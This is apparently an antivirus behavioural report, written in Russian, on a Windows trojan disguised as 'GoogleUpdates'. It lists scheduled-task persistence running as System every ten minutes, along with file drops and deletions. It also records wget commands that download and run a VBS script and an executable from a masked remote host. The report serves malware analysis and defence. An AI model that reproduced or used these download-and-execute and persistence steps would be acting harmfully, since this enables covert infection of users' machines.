Техническая информация
Для обеспечения автозапуска и распространения:
Создает или изменяет следующие файлы:
- %WINDIR%\Tasks\GoogleUpdates.job
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\wget.exe' http://ms###st.name/GoogleUpdatesTask.vbs
- '%TEMP%\wget.exe' --load-cookies cookies.txt http://ms###st.name/2.php
- '%TEMP%\wget.exe' http://ms###st.name/GoogleUpdatesTask.exe
- '%TEMP%\GoogleUpdatesTask.vbs'
- '%TEMP%\GoogleUpdatesTask.exe'
- '%TEMP%\hidcon.exe' start.cmd
- '%TEMP%\set.exe' -p1234567890__
- '%TEMP%\wget.exe' --save-cookies cookies.txt http://ms###st.name/1.php
- '%TEMP%\hidcons.exe' load.bat
- '%TEMP%\GoogleUpdates.exe'
- '%TEMP%\GoogleUpdatesTask.vbs' (загружен из сети Интернет)
- '%TEMP%\GoogleUpdatesTask.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c load.bat
- '<SYSTEM32>\schtasks.exe' /Delete /tn Internrt_Explorer /f
- '<SYSTEM32>\ping.exe' -n 3 127.0.0.1
- '<SYSTEM32>\ping.exe' -n 2 127.0.0.1
- '<SYSTEM32>\taskkill.exe' /F /IM "wscript.exe"
- '<SYSTEM32>\find.exe' "Microsoft Windows XP"
- '<SYSTEM32>\cmd.exe' /c start.cmd
- '<SYSTEM32>\schtasks.exe' /Delete /tn GoogleUpdates /f
- '<SYSTEM32>\schtasks.exe' /Delete /tn Internrt_Explorer_Updates /f
- '<SYSTEM32>\schtasks.exe' /Create /TN GoogleUpdates /TR "%APPDATA%\Updates\GoogleUpdates.exe" /SC MINUTE /mo 10 /ru "System"
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\load.bat
- %TEMP%\hidcons.exe
- %APPDATA%\GoogleUpdates\GoogleUpdates.exe
- %TEMP%\GoogleUpdatesTask.exe
- %TEMP%\GoogleUpdatesTask.vbs
- %TEMP%\2.php
- %TEMP%\cookies.txt
- %TEMP%\start.cmd
- %TEMP%\hidcon.exe
- %TEMP%\set.exe
- %TEMP%\1.php
- %TEMP%\GoogleUpdates.exe
- %TEMP%\wget.exe
Удаляет следующие файлы:
- %TEMP%\hidcons.exe
- %TEMP%\hidcon.exe
- %TEMP%\set.exe
- %TEMP%\wget.exe
- %TEMP%\start.cmd
- %TEMP%\GoogleUpdatesTask.vbs
- %TEMP%\2.php
- %TEMP%\1.php
- %TEMP%\cookies.txt
- %TEMP%\GoogleUpdatesTask.exe
- %TEMP%\GoogleUpdates.exe
Сетевая активность:
Подключается к:
- 'ms###st.name':80
TCP:
Запросы HTTP GET:
- ms###st.name/GoogleUpdatesTask.vbs
- ms###st.name/GoogleUpdatesTask.exe
- ms###st.name/1.php
- ms###st.name/2.php
UDP:
- DNS ASK ms###st.name
Другое:
Ищет следующие окна:
- ClassName: '(null)' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
